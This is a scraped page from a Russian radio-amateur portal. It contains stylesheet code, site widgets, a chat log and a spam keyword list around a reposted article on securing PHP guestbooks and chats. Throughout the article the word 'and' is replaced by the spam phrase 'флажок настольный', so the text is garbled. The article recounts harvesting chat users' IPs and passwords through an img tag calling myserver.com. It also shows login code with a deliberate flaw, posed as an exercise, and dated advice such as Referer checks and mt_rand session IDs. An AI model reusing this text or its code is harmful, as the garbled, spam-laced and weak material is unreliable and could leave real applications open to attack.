флажок настольный
Статьи
/*
+--------------------------------------------------------------------------
| Cascading Style Sheet for MKportal "Forum" Portal Template
| ========================================
| by Meo aka Luponero [Amedeo de longis]
| Don K. Colburn [visiblesoul.net]
| Copyright (c) 2004-2006 mkportal.it
| http://www.mkportal.it
| Email: luponero@mclink.it
+--------------------------------------------------------------------------
| > MKPortal
| > Written By Amedeo de longis
| > Date started: 9.2.2004
+--------------------------------------------------------------------------
*/
/*=============================
M
K global styles
P
=============================*/
/* IMPORT body */
body,
body{
background: #FFF;
color: #222;
font-family: Verdana, Tahoma, Arial, Trebuchet MS, Sans-Serif, Georgia, Courier, Times New Roman, Serif;
font-size: 11px;
line-height: 135%;
margin: 0px;
padding: 0px; /* required for Opera to have 0 margin */
text-align: center; /* centers board in MSIE */
}
body {
font-size: 10px;
margin:0px;
padding:0px; /* Opera 0 margin */
text-align: center; /* center in IE */
}
/* IMPORT body background (used for SMF) */
.importbgbody {
font-size: 10px;
}
/* portal wrapper */
#mkwrapper {
text-align:left; /* left-align text in IE */
margin: 0px auto 0px auto;
}
/* IMPORT logostrip */
#mklogostrip,
#logostrip{
background: #3860BB url(http://sked.ru/forum/style_images/1/tile_back.gif);
border: 1px solid #FFF;
height: 68px;
margin: 0;
padding: 0;
}
/* logostrip */
#mklogostrip {
text-align: center;
}
/* IMPORT global font formatting */
table,
tr,
td,
.tdglobal,
td.ipbtable
{ /* required for text in tables, because tables do not inherit from body */
background: transparent;
color: #222;
font-size: 11px;
line-height: 135%;
}
/* global font formatting */
table,
tr,
td,
.tdglobal {
font-size: 10px;
}
/* IMPORT main portal table bg (if different than body bg) */
.tabmain,
.importmain {
font-size: 10px;
}
/* main portal table */
.tabmain {
margin:0px;
padding:0px;
}
/* image link border */
img {
border: 0px;
}
/*=============================
M
K IMPORT LIGHT BACKGROUND
P
=============================*/
.modulecell,
.urlo2,
.tabnews,
.trattini,
.trattini3,
.tablemenu,
.taburlo,
.post1,
.bg1{
background: #F5F9FD;
}
/*=============================
M
K IMPORT MEDIUM BACKGROUND
P
=============================*/
.navigatore,
.tdblock,
.moduleborder,
.modulex,
.mkpagecurrent,
.row1{
background: #DFE6EF;
}
/*=============================
M
K IMPORT DARK BACKGROUND
P
=============================*/
.urlo,
.sottotitolo,
.maintitle,
.maintitlecollapse{
background: url(http://sked.ru/forum/style_images/1/tile_cat.gif);
border: 1px solid #FFF;
border-bottom: 1px solid #5176B5;
color: #FFF;
font-size: 12px;
font-weight: bold;
margin: 0px;
padding: 8px;
}
/*=============================
M
K border and divider styles
P
=============================*/
/* vertical spacer image used in portal skin */
/* .vspacer {
background-image: url(http://sked.ru/forum/MKPORTALIMGDIR/punto_vert.gif);
background-repeat: repeat-y;
background-color: transparent;
} */
/* IMPORT border-color */
.tabmain,
.tablemenu, /* block wrapper, chat button strip */
.taburlo,
.urlo2,
.tabnews,
.trattini,
.trattini2,
.trattini3,
.mkpagelink,
.mkpagelinklast,
.mkpagecurrent,
.titadmin,
.borderwrap,
.borderwrapm{ /* this will affect the outlining border of all the tables and boxes through-out the skin. */
border: 1px solid #072A66;
padding: 0px;
margin: 0px;
}
.trattini {
border-width: 1px 0 0 0;
border-style: dashed;
}
/* blocks admin */
.trattini2 {
border-width: 0 1px 0 0;
border-style: dashed;
}
/* Quotes, Shoutbox */
.trattini3 {
border-width: 0 0 1px 0;
border-style: dashed;
}
/*=============================
M
K hyperlink styles
P
=============================*/
/* IMPORT global links */
a:link,
a:active,
a.uno:link,
a:link,
a:visited,
a:active{
background: transparent;
color: #222;
text-decoration: underline;
}
a:visited,
a.uno:visited,
a:visited,
a:active{
background: transparent;
color: #222;
text-decoration: underline;
}
a:hover,
a.uno:hover,
a:hover{
background: transparent;
color: #34498B;
}
/* a:active {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #496c9f;
text-decoration: none;
} */
/* bold navbar, block, module links */
a.uno:link {
font-size: 10px;
font-weight: bold;
text-decoration: none
}
a.uno:visited {
font-size: 10px;
font-weight: bold;
text-decoration: none
}
a.uno:hover {
font-size: 10px;
font-weight: bold;
text-decoration: underline;
}
/* block text links */
/* .tablemenu a:link, a:visited {
font-family: Verdana, Arial, Helvetica, sans-serif;
color: #496c9f;
text-decoration: none;
}
.tablemenu a:hover {
text-decoration: underline;
}
.tablemenu a:active {
text-decoration: none;
} */
/* global contrasting text and hyperlink color */
.mktxtcontr,
a.mktxtcontr:link,
a.mktxtcontr:visited {
color: #ff0000;
font-weight: bold;
text-decoration: none;
}
a.mktxtcontr:hover {
font-weight: bold;
text-decoration: underline;
}
/* contrasting text and hyperlink color 2 (admin) */
.mktxtcontr2,
a.mktxtcontr2:link,
a.mktxtcontr2:visited {
color: #0000ff;
font-weight: bold;
text-decoration: none;
}
a.mktxtcontr2:hover {
font-weight: bold;
text-decoration: underline;
}
/*=============================
M
K form styles
P
=============================*/
/* remove margin after closing "form" tag in MSIE */
form {
margin: 0;
padding: 0
}
/* IMPORT form styles */
input,
textarea,
select,
.bgselect, /* input fields */
.mkbutton, /* global submit buttons */
.mkblkinput, /* block input */
.mkradio,
input-warn,
.input-green,
.input-checkbox,
input,
textarea,
select{
background: #FFF;
border: 1px solid #4C77B6;
color: #000;
font-family: verdana, helvetica, sans-serif;
font-size: 11px;
margin: 5px;
padding: 2px;
vertical-align: middle;
}
/* set form padding and margin */
/*.mkbutton,*/ /* global submit buttons */
/* textarea,*/
input,
select,
.bgselect, /* input fields */
.mkblkinput /* block input */
{
margin: 0px;
padding: 0px;
font-size: 9px;
font-weight: normal; /* needed for Mozilla */
}
/* radio/checkbox buttons - remove background color and border in IE */
/* .mkradio {
background-color: transparent;
border-width: 0px;
} */
/* configure blog textarea */
textarea.mkwrap1 {
overflow: auto;
/* width: 230px; */
width: 100%;
}
/* edit blog textarea */
textarea.mkwrap2 {
overflow: auto;
width: 500px ;
}
/*=============================
M
K navstrip styles
P
=============================*/
/* top navstrip */
.navigatore {
vertical-align: bottom;
text-align: center;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: 300;
font-size: 9px;
border: 0;
}
/*=============================
M
K block styles
P
=============================*/
/* used in functions.php (function main_page) */
.blocks {
padding: 0px;
}
/* block td cell */
.tdblock {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
font-weight: bold;
border: 0;
margin: 2px;
}
/* block title bar */
.sottotitolo {
vertical-align: bottom;
text-align: left;
font-size: 11px;
font-weight: bold;
}
/* horizontal spacer between blocks */
.tdspacer {
line-height: 3px;
}
/*=============================
M
K module global styles
P
=============================*/
/* IMPORT module table headings */
th.modulex,
.subtitle,
.subtitlediv,
.postlinksbar{
background: transparent url(http://sked.ru/forum/style_images/1/tile_sub.gif);
border-bottom: 1px solid #5176B5;
color: #3A4F6C;
font-size: 10px;
font-weight: bold;
letter-spacing: 1px;
margin: 0;
padding: 5px;
}
th.modulex {
white-space: nowrap;
}
.modulex {
border-width: 0 0 0 0;
}
/* Reviews description text */
.modulelite {
font-size: 8pt;
/* color:#a6bbcd;*/
}
/* block padding (news, admin) */
.contents {
padding: 10px;
}
/* module pagination links */
.mkpagelink {
padding:1px 3px 1px 3px;
font-weight: normal;
}
.mkpagelinklast {
padding:1px 3px 1px 3px;
font-weight:normal;
}
.mkpagecurrent {
padding:1px 3px 1px 3px;
font-weight:normal;
}
/*=============================
M
K shoutbox module styles
P
=============================*/
td.taburlo{
margin:5px;
padding:5px;
border: 0;
}
/* shouter and date cell */
.urlo {
line-height: 18px;
vertical-align: bottom;
text-align: left;
font-size: 11px;
font-weight: bold;
padding: 4px;
}
/* shout cell */
.urlo2 {
padding: 4px;
border-width: 0 0 1px 0;
border-style: solid;
text-align: left;
font-size: 11px;
font-weight: bold;
}
/* white shouter text */
/* .urlocontrast {
color: #ffffff;
} */
/*=============================
M
K news module styles
P
=============================*/
/* news table with border */
.tabnews {
border-width: 1px;
border-style: dashed;
margin:0px;
padding:0px;
font-size: 10px;
}
/*=============================
M
K admin cp styles
P
=============================*/
/* admin cp titles with top border */
.titadmin {
margin: 0px;
font-size: 11px;
font-weight: bold;
border-width: 1px 0 0 0;
border-style: dashed;
}
/*=============================
M
K font styles
P
=============================*/
/* red error page text */
.mkerror {
font-size: 12pt;
color: #ff0000;
font-weight:bold;
}
/* MKPQuote quotation text */
/* .mkquote {
color: #0000ff;
} */
/* MKPGallery module ecard, offline page */
.ecardtitle,
.offlinetxt {
font-size: 10pt;
font-weight: bold;
text-align: center;
}
/* MKPGallery slideshow caption text (modules/gallery/index.php function slide_update) */
/* .mkslidecap {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12pt;
font-weight: bold;
color: #ffffff;
} */
/*=============================
M
K BBcode quote styles
P
=============================*/
.mkquoteball {
font-size: 9px;
color: #666666;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: normal;
background-color: #ffffff;
padding: 0;
}
.mkquotetext {
font-size: 10px;
color: #666666;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: normal;
background-color: #ffffff;
margin: 0;
padding: 0;
}
table .mkquotetable{
width: auto; /* IE */
text-align: left;
}
Главная
Форум
Галерея
Мини чат
Новости
Сайты
Статьи
Последнее объявление - Разместил: Hamradio - Пятница, 25 Апреля 2008 23:20
у меня правельно кажут
Навигация
Главная
Форум
Схемотехника
Галерея
Новости
Сайты
Статьи
Юмор,Анекдоты
Доска Оъявления
Мини чат
Поиск файлов
Найти в:Название
Description
Введите текст
Кто на сайте
1 Пользователей: 1 Гостей, Скрытых, Видимых
На главную
Форум
Галерея
Мини чат
Файлы
Новости
Чат
Сайты
Статьи
гость,
Yahoo Bot,
Yahoo Bot
Кто, где есть
Случайная Статья
Как разместить веб-с...Author: HamradioVisited: 388 time/sInserted on: 03 Фвг 2007
Местное время
Анектод,юмор
Подписано: Hamradio- 07 Фвг 2007
Программист ставит себе на тумбочку перед сном два стакана.Один с водой - на случай, если захочет ночью пить. А второйпустой - на случай, если не захочет(Анектод)
Рекамендуем
адвокаты города москвы; работа в Питере, работа петербург
Погода в городе
Никольскrp5.ru
Статьи
Статьи->Web-страительство->Приемы безопасного программирования веб-приложений на PHP
[ Поиск ]
Приемы безопасного программирования веб-приложений на PHP
Заголовок
Приемы безопасного программирования веб-приложений на PHP
Описание
Источник: http://webcode.net.ru/go.php?to=http://zeus.sai.msu.ru:7000/internet/securities/phpsecure.shtml
Отправил
Hamradio
Данная статья не претендует на роль всеобъемлющего руководства на тему "как сделать так, чтоб меня никто не поломал". Так не бывает. Единственная цель этой статьи - показать некоторые используемые мной приемы для защиты веб-приложений типа WWW-чатов, гостевых книг, веб-форумов флажок настольный других приложений подобного рода. Итак, давайте рассмотрим некоторые приемы программирования на примере некоей гостевой книги, написанной на PHP.Первой заповедью веб-программиста, желающего написать более-менее защищенное веб-приложение, должно стать "Никогда не верь данным, присылаемым тебе пользователем". Пользователи - это по определению такие злобные хакеры, которые только флажок настольный ищут момента, как бы напихать в формы ввода всякую дрянь типа PHP, javascript, SSI, вызовов своих жутко хакерских скриптов флажок настольный тому подобных ужасных вещей. Поэтому первое, что необходимо сделать - это жесточайшим образом отфильтровать все данные, присланные пользователем.Допустим, у нас в гостевой книге существует 3 формы ввода: имя пользователя, его e-mail флажок настольный само по себе тело сообщения. Прежде всего, ограничим количество данных, передаваемых из форм ввода чем-нибудь вроде:"input type=text name=username maxlength=20>"На роль настоящей защиты, конечно, это претендовать не может - единственное назначение этого элемента - ограничить пользователя от случайного ввода имени длиннее 20-ти символов. А для того, чтобы у пользователя не возникло искушения скачать документ с формами ввода флажок настольный подправить параметр maxlength, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER:$referer=getenv("HTTP_REFERER");if (!ereg("^http://www.myserver.com")) { echo "hacker? he-he...n"; exit;}?>Теперь, если данные переданы не из форм документа, находящегося на сервере www.myserver.com, хацкеру будет выдано деморализующее сообщение. На самом деле, флажок настольный это тоже не может служить 100%-ой гарантией того, что данные ДЕЙСТВИТЕЛЬНО переданы из нашего документа. В конце концов, переменная HTTP_REFERER формируется браузером, флажок настольный никто не может помешать хакеру подправить код браузера, или просто зайти телнетом на 80-ый порт флажок настольный сформировать свой запрос. Так что подобная защита годится только от Ну Совсем Необразованных хакеров. Впрочем, по моим наблюдениям, около 80% процентов злоумышленников на этом этапе останавливаются флажок настольный дальше не лезут - то ли IQ не позволяет, то ли просто лень. Лично я попросту вынес этот фрагмент кода в отдельный файл, флажок настольный вызываю его отовсюду, откуда это возможно. Времени на обращение к переменной уходит немного - флажок настольный береженого Бог бережет.Следующим этапом станет пресловутая жесткая фильтрация переданных данных. Прежде всего, не будем доверять переменной maxlength в формах ввода флажок настольный ручками порежем строку:$username=substr($username,0,20);Не дадим пользователю использовать пустое поле имени - просто так, чтобы не давать писать анонимные сообщения:if (empty($username)) { echo "invalid username"; exit;}Запретим пользователю использовать в своем имени любые символы, кроме букв русского флажок настольный латинского алфавита, знака "_" (подчерк), пробела флажок настольный цифр:if (preg_match("/[^(w)|(x7F-xFF)|(s)]/",$username)) { echo "invalid username"; exit;}Я предпочитаю везде, где нужно что-нибудь более сложное, чем проверить наличие паттерна в строке или поменять один паттерн на другой, использовать Перл-совместимые регулярные выражения (Perl-compatible Regular Expressions). То же самое можно делать флажок настольный используя стандартные PHP-шные ereg() флажок настольный eregi(). Я не буду приводить здесь эти примеры - это достаточно подробно описано в мануале.Для поля ввода адреса e-mail добавим в список разрешенных символов знаки "@" флажок настольный ".", иначе пользователь не сможет корректно ввести адрес. Зато уберем русские буквы флажок настольный пробел:if (preg_match("/[^(w)|(@)|(.)]/",$usermail)) { echo "invalid mail"; exit;}Поле ввода текста мы не будем подвергать таким жестким репрессиям - перебирать все знаки препинания, которые можно использовать, попросту лень, поэтому ограничимся использованием функций nl2br() флажок настольный htmlspecialchars() - это не даст врагу понатыкать в текст сообщения html-тегов. Некоторые разработчики, наверное, скажут: "а мы все-таки очень хотим, чтобы пользователи _могли_ вставлять теги". Если сильно неймется - можно сделать некие тегозаменители, типа "текст, окруженный звездочками, будет высвечен bold'ом.". Но никогда не следует разрешать пользователям использование тегов, подразумевающих подключение внешних ресурсов - от тривиального img до супернавороченного .Как-то раз меня попросили потестировать html-чат. Первым же замеченным мной багом было именно разрешение вставки картинок. Учитывая еще пару особенностей строения чата, через несколько минут у меня был файл, в котором аккуратно были перечислены IP-адреса, имена флажок настольный пароли всех присутствовавших в этот момент на чате пользователей. Как? Да очень просто - чату был послан тег img src=http://myserver.com/myscript.pl>, в результате чего браузеры всех пользователей, присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com. (там не было людей, сидевших под lynx'ом :-) ). А скрипт, перед тем как выдать location на картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY_STRING, REMOTE_ADDR флажок настольный других. Для каждого пользователя. С вышеупомянутым результатом.Посему мое мнение - да, разрешить вставку html-тегов в чатах, форумах флажок настольный гостевых книгах - это красиво, но игра не стоит свеч - вряд ли пользователи пойдут к Вам на книгу или в чат, зная, что их IP может стать известным первому встречному хакеру. Да флажок настольный не только IP - возможности javascript'a я перечислять не буду :-)Для примитивной гостевой книги перечисленных средств хватит, чтобы сделать ее более-менее сложной для взлома. Однако для удобства, книги обычно содержат некоторые возможности для модерирования - как минимум, возможность удаления сообщений. Разрешенную, естественно, узкому (или не очень) кругу лиц. Посмотрим, что можно сделать здесь.Допустим, вся система модерирования книги также состоит из двух частей - страницы со списком сообщений, где можно отмечать подлежащие удалению сообщения, флажок настольный непосредственно скрипта, удаляющего сообщения. Назовем их соответственно admin1.php флажок настольный admin2.php.Простейший флажок настольный надежнейший способ аутентикации пользователя - размещение скриптов в директории, защищенной файлом .htaccess. Для преодоления такой защиты нужно уже не приложение ломать, флажок настольный web-сервер. Что несколько сложнее флажок настольный уж, во всяком случае, не укладывается в рамки темы этой статьи. Однако не всегда этот способ пригоден к употреблению - иногда бывает надо проводить авторизацию средствами самого приложения.Первый, самый простой способ - авторизация средствами HTTP - через код 401. При виде такого кода возврата, любой нормальный браузер высветит окошко авторизации флажок настольный попросит ввести логин флажок настольный пароль. А в дальнейшем браузер при получении кода 401 будет пытаться подсунуть web-серверу текущие для данного realm'а логин флажок настольный пароль, флажок настольный только в случае неудачи потребует повторной авторизации. Пример кода для вывода требования на такую авторизацию есть во всех хрестоматиях флажок настольный мануалах:(if (!isset($PHP_AUTH_USER)) { Header("WWW-Authenticate: Basic realm="My Realm""); Header("HTTP/1.0 401 Unauthorized"); exit;}Разместим этот кусочек кода в начале скрипта admin1.php. После его выполнения, у нас будут две установленные переменные $PHP_AUTH_USER флажок настольный PHP_AUTH_PW, в которых соответственно будут лежать имя флажок настольный пароль, введенные пользователем. Их можно, к примеру, проверить по SQL-базе:*** Внимание!!!***В приведенном ниже фрагменте кода сознательно допущена серьезная ошибка в безопасности. Попытайтесь найти ее самостоятельно.$sql_statement="select password from peoples where name='$PHP_AUTH_USER'";$result = mysql($dbname, $sql_statement);$rpassword = mysql_result($result,0,'password');$sql_statement = "select password('$PHP_AUTH_PW')";$result = mysql($dbname, $sql_statement);$password = mysql_result($result,0);if ($password != $rpassword) { Header("HTTP/1.0 401 Auth Required"); Header("WWW-authenticate: basic realm="My Realm""); exit;}Упомянутая ошибка, между прочим, очень распространена среди начинающих флажок настольный невнимательных программистов. Когда-то я сам поймался на эту удочку - по счастью, особого вреда это не принесло, не считая оставленных хакером в новостной ленте нескольких нецензурных фраз.Итак, раскрываю секрет: допустим, хакер вводит заведомо несуществующее имя пользователя флажок настольный пустой пароль. При этом в результате выборки из базы переменная $rpassword принимает пустое значение. А алгоритм шифрования паролей при помощи функции СУБД MySQL Password(), так же, впрочем, как флажок настольный стандартный алгоритм Unix, при попытке шифрования пустого пароля возвращает пустое значение. В итоге - $password == $rpassword, условие выполняется флажок настольный взломщик получает доступ к защищенной части приложения. Лечится это либо запрещением пустых паролей, либо, на мой взгляд, более правильный путь - вставкой следующего фрагмента кода:if (mysql_numrows($result) != 1) { Header("HTTP/1.0 401 Auth Required"); Header("WWW-authenticate: basic realm="My Realm""); exit;}То есть - проверкой наличия одного флажок настольный только одного пользователя в базе. Ни больше, ни меньше.Точно такую же проверку на авторизацию стоит встроить флажок настольный в скрипт admin2.php. По идее, если пользователь хороший человек - то он приходит к admin2.php через admin1.php, флажок настольный значит, уже является авторизованным флажок настольный никаких повторных вопросов ему не будет - браузер втихомолку передаст пароль. Если же нет - ну, тогда флажок настольный поругаться не грех. Скажем, вывести ту же фразу "hacker? he-he...".К сожалению, не всегда удается воспользоваться алгоритмом авторизации через код 401 флажок настольный приходится выполнять ее только средствами приложения. В общем случае модель такой авторизации будет следующей: * Пользователь один раз авторизуется при помощи веб-формы флажок настольный скрипта, который проверяет правильность имени флажок настольный пароля. * Остальные скрипты защищенной части приложения каким-нибудь образом проверяют факт авторизованности пользователя. Такая модель называется сессионной - после прохождения авторизации открывается так называемая "сессия", в течение которой пользователь имеет доступ к защищенной части системы. Сессия закрылась - доступ закрывается. На этом принципе, в частности, строится большинство www-чатов: пользователь может получить доступ к чату только после того, как пройдет процедуру входа. Основная сложность данной схемы заключается в том, что все скрипты защищенной части приложения каким-то образом должны знать о том, что пользователь, посылающий данные, успешно авторизовался.Рассмотрим несколько вариантов, как это можно сделать: 1. После авторизации все скрипты защищенной части вызываются с неким флажком вида adminmode=1. (Не надо смеяться - я сам такое видел). Ясно, что любой, кому известен флажок adminmode, может сам сформировать URL флажок настольный зайти в режиме администрирования. Кроме того - нет возможности отличить одного пользователя от другого. 2. Скрипт авторизации может каким-нибудь образом передать имя пользователя другим скриптам. Распространено во многих www-чатах - для того, чтобы отличить, где чье сообщение идет, рядом с формой типа text для ввода сообщения, пристраивается форма типа hidden, где указывается имя пользователя. Тоже ненадежно, потому что хакер может скачать документ с формой к себе на диск флажок настольный поменять значение формы hidden. Некоторую пользу здесь может принести вышеупомянутая проверка HTTP_REFERER - но, как я уже говорил, никаких гарантий она не дает. 3. Определение пользователя по IP-адресу. В этом случае, после прохождения авторизации, где-нибудь в локальной базе данных (sql, dbm, да хоть в txt-файле) сохраняется текущий IP пользователя, флажок настольный все скрипты защищенной части смотрят в переменную REMOTE_ADDR флажок настольный проверяют, есть ли такой адрес в базе. Если есть - значит, авторизация была, если нет - "hacker? he-he..." :-) Это более надежный способ - не пройти авторизацию флажок настольный получить доступ удастся лишь в том случае, если с того же IP сидит другой пользователь, успешно авторизовавшийся. Однако, учитывая распространенность прокси-серверов флажок настольный IP-Masquerad'инга - это вполне реально. 4. Единственным, известным мне простым флажок настольный достаточно надежным способом верификации личности пользователя является авторизация при помощи random uid. Рассмотрим ее более подробно. После авторизации пользователя скрипт, проведший авторизацию, генерирует достаточно длинное случайное число:mt_srand((double)microtime()*1000000);$uid=mt_rand(1,1000000);Это число он:а) заносит в локальный список авторизовавшихся пользователей;б) Выдает пользователю.Пользователь при каждом запросе, помимо другой информации (сообщение в чате, или список сообщений в гостевой книге), отправляет серверу свой uid. При этом в документе с формами ввода будет присутствовать, наряду с другими формами, тег вида:Форма uid невидима для пользователя, но она передается скрипту защищенной части приложения. Тот сличает переданный ему uid с uid'ом, хранящимся в локальной базе флажок настольный либо выполняет свою функцию, либо... "hacker? he-he...".Единственное, что необходимо сделать при такой организации - периодически чистить локальный список uid'ов и/или сделать для пользователя кнопку "выход", при нажатии на которую локальный uid пользователя сотрется из базы на сервере - сессия закрыта.Некоторые программисты используют в качестве uid не "одноразовое" динамически генерирующееся число, флажок настольный пароль пользователя. Это допустимо, но это является "дурным тоном", поскольку пароль пользователя обычно не меняется от сессии к сессии, флажок настольный значит - хакер сможет сам открывать сессии. Та же самая модель может быть использована везде, где требуется идентификация пользователя - в чатах, веб-конференциях, электронных магазинах.В заключение стоит упомянуть флажок настольный о такой полезной вещи, как ведение логов. Если в каждую из описанных процедур встроить возможность занесения события в лог-файл с указанием IP-адреса потенциального злоумышленника - то в случае реальной атаки вычислить хакера будет гораздо проще, поскольку хакеры обычно пробуют последовательно усложняющиеся атаки. Для определения IP-адреса желательно использовать не только стандартную переменную REMOTE_ADDR, но флажок настольный менее известную HTTP_X_FORWARDED_FOR, которая позволяет определить IP пользователя, находящегося за прокси-сервером. Естественно - если прокси это позволяет.При ведении лог-файлов, необходимо помнить, что доступ к ним должен быть только у Вас. Лучше всего, если они будут расположены за пределами дерева каталогов, доступного через WWW. Если нет такой возможности - создайте отдельный каталог для лог-файлов флажок настольный закройте туда доступ при помощи .htaccess (Deny from all).Я буду очень признателен, если кто-нибудь из программистов поделится своими не описанными здесь методами обеспечения безопасности при разработке приложений для Web.P.S. Выражаю глубокую благодарность Козину Максиму (madmax@express.ru) за рецензирование данной статьи флажок настольный ряд весьма ценных дополнений.
Голосов
Голосов: 0 - В среднем:
Добавить комментарий
Оценить
Комментарии
Статистика
Всего 46 статей в базеНаиболее просматриваемые: Что такое шаринг флажок настольный как его использоватьЛучшие по оценкам: ВЗЛОМ КОМПЬЮТЕРА, ВЗЛОМ УДАЛЕННОГО КОМПЬЮТЕРА
Пользователи в разделе статьи: 3 (0 Пользователи 3 Гости флажок настольный 0 Скрытые пользователи)Видимые пользователи: 0
MKPReviews ©2004-2006 mkportal.it
Фото из Галереи
Icom IC-7700
Меню Пользователя
Привет гость
User:
Pass:
Войти в скрытом режиме:
Регистрация!
Забыли пароль?
Отправить повторно письмо с кодом активации
Статистика сайта
39 Сообщений:
15 Тем
24 Ответов
65 Изображений:
В галерее
72 Файлов:
доступных для скачивания
2 Сайтов:
в списке
46 Статьи:
В списке статей
79 Зарегистрированных пользователей:
Последний: Vladimir
Страниц просмотрено:
Сказать в Мини чат
перейди в мини чатHamradio, on Пятница, 25 Апреля 2008 23:20у меня правельно кажутVladimir, on Пятница, 25 Апреля 2008 09:46Переведи на час.....Vladimir, on Пятница, 25 Апреля 2008 09:45А почаму у табя часы не правильно кажут? Vladimir, on Пятница, 25 Апреля 2008 09:43Здравствуйте, Владимир!Две настроеные платы миниЕс с пересылкой будут стоить 4210руб.Сушествует небольшая очередь, около двух недель после получения перевода.Если Вас устраивают условия, сообщу адресс для перевода.С уважением, Виктор!Vladimir, on Пятница, 25 Апреля 2008 09:43Ты чаво в Аське не отвечаешь
Голосование
Какую ОС Вы используете?
Голосуем
Windows 95/98
Windows NT/2000/XP
Windows Vista
UNIX
Linux
FreeBSD
Другая
Только пользователи могут участвовать в опросе
12 Всего голосов
Наша кнопка
© 2008
[AD] Страница сгенерированна за 0.12472 секунд с 22 обращениями в базу данных
разделы
пластиковый пакет
кадровый владимир
трубогиб
букмекерский контора шанс
квантовый медицина
магнитный решетка
southpark
плазменный панель настенный
огнестойкий краска
сервис alfa laval
вакансия красноярск
заказать флаг
автоподъемник
листогибы
конвейер шнековый
фактурный краска
измеритель rlc
близорукость
купить конвертер
8800 white gold
электропечь dimplex model lee rc
доставка окон
флагшток внутренний использование
болен алкоголизмом
эфирный антенна kaasi
бензопила импортный
холодильник оптом
три цвета: синий
теплолюкс
тройник
конвейер шнековый
мусорный пакет
сервер hp
гайковерт электрический
фирменый цвет
прайс эфирный антенна
изготовление краска
красный площадь мавзолей
доставка хим. реагент
холодильник бош
аденома
асбест
бюро похоронный услуга
холодильный камера
добрый тепло
антиобледенительные система
заказать флаг
инвертор
охота быкова
лакокраска
редизайн кострома
contiwinterviking купить
портативный радиостанция
медицинский перевод
газонокосилка dolmar
уничтожение данный
бордюр обоев
сервис альфа лаваль
мрт коленный сустав
газонокосилка black decker
contiwinterviking купить
предохранитель пкт
автоматический резка
имплантат
эрозия шейка матка
zip lock
доставка алкогольный
аэробика
ночной очки
vps vds
ванна моечный
выписка егрп
управление иваново
акриловый вставка вкладыш
скачать длинный нард
химчистка доставка
аэрография
стелажи
доставка санкт
холодный штамповка
информационный валаам
восстановление удаленный информация
кислородный концентратор
конвейер
купить ножовка
5004.14 (крышка)
прибор крыса
сделать пазл
эксимер лазер
скачать короткий нард
зеркало babyliss
красный площадь собор
заказать флаг
три цвета: синий
сушильный машина ardo
тройник перех
кулер тихий
дюпон краска
полноцвет кружок
5440.13 (крышка)
решетка окон
билет большой
адресный база данный
теплолюкс
спецобувь
время иваново
цвет город
mobil pegasus
ларсен центр
lida
ariston опт
слимент лифт
покупка кострома
длинный нард
профессиональный психолог
газонокосилка black decker
бензопила импортный
центр проктология
кулер 754
дешевый холодильник
пленка пэ
учиться танго
переводческий бюро
помыть потолок
антенна радиочастотный
время ярославль
долг
газонокосилка stiga
помещение шиномонтаж
ваза 2115
мигрень
кулер 478
продать кайт
факсимиле
разогреть вчерашний обед
спецобувь оптом
сглаз
подгонный компенсатор danfoss
избавиться спам
флажок настольный